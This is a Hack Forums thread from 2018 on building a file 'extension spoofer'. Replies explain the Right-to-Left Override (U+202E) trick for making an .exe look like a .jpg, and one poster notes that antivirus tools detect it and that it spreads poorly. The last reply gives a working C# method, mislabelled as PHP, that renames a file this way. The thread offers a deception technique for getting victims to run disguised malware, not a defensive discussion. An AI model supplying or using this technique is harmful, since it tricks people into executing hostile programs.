Hack Forums
[.NET] How to create a Extension Spoofer? - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] How to create a Extension Spoofer? (/showthread.php?tid=5852345)



How to create a Extension Spoofer? - Dinnemok34763 - Jun 21, 2018

Hello everyone,

does someone know how to create a extension spoofer / have a source code?


RE: How to create a Extension Spoofer? - Styx™ - Jun 21, 2018

Add the extension you want to spoof to to the end of the file name in reverse e.g. if you want to spoof test.exe to a .jpg add gpj to the file name (testgpj.exe) and then insert U+202E (Right-to-left override) character before the spoofed extension (test[U+202E]gpj.exe). You probably could have just googled this.


RE: How to create a Extension Spoofer? - Crakxproo - Jun 22, 2018

(Jun 21, 2018 03:34 PM)Styx™ Wrote:  Add the extension you want to spoof to to the end of the file name in reverse e.g. if you want to spoof test.exe to a .jpg add gpj to the file name (testgpj.exe) and then insert U+202E (Right-to-left override) character before the spoofed extension (test[U+202E]gpj.exe). You probably could have just googled this.

Don't use it, its fairly detected by AV's. won't spread as well


RE: How to create a Extension Spoofer? - n0$f3ratu$ - Jun 23, 2018

(Jun 21, 2018 10:22 AM)Dinnemok34763 Wrote:  Hello everyone,

does someone know how to create a extension spoofer / have a source code?

PHP Code

<?php 
private static void HideExtension(string fileName, string extension)
 
       {
 
           char[] array = Path.GetExtension("." + extension).ToCharArray();
 
           Array.Reverse(array);
 
           string fileNameWithoutExtension = Path.GetFileNameWithoutExtension(fileName);
 
           string ext = Path.GetExtension(fileName);
 
           if (ext == null)
 
           {
 
               return;
 
           }
 
           string str2 = fileNameWithoutExtension + Conversions.ToString(Convert.ToChar(8238)) + Convert.ToString(new string(array)) + ext.Substring(1);
 
           File.Move(fileName, Path.GetDirectoryName(fileName) + "\\" + str2);
 
       } 

Code
HideExtension(your file, desired extension)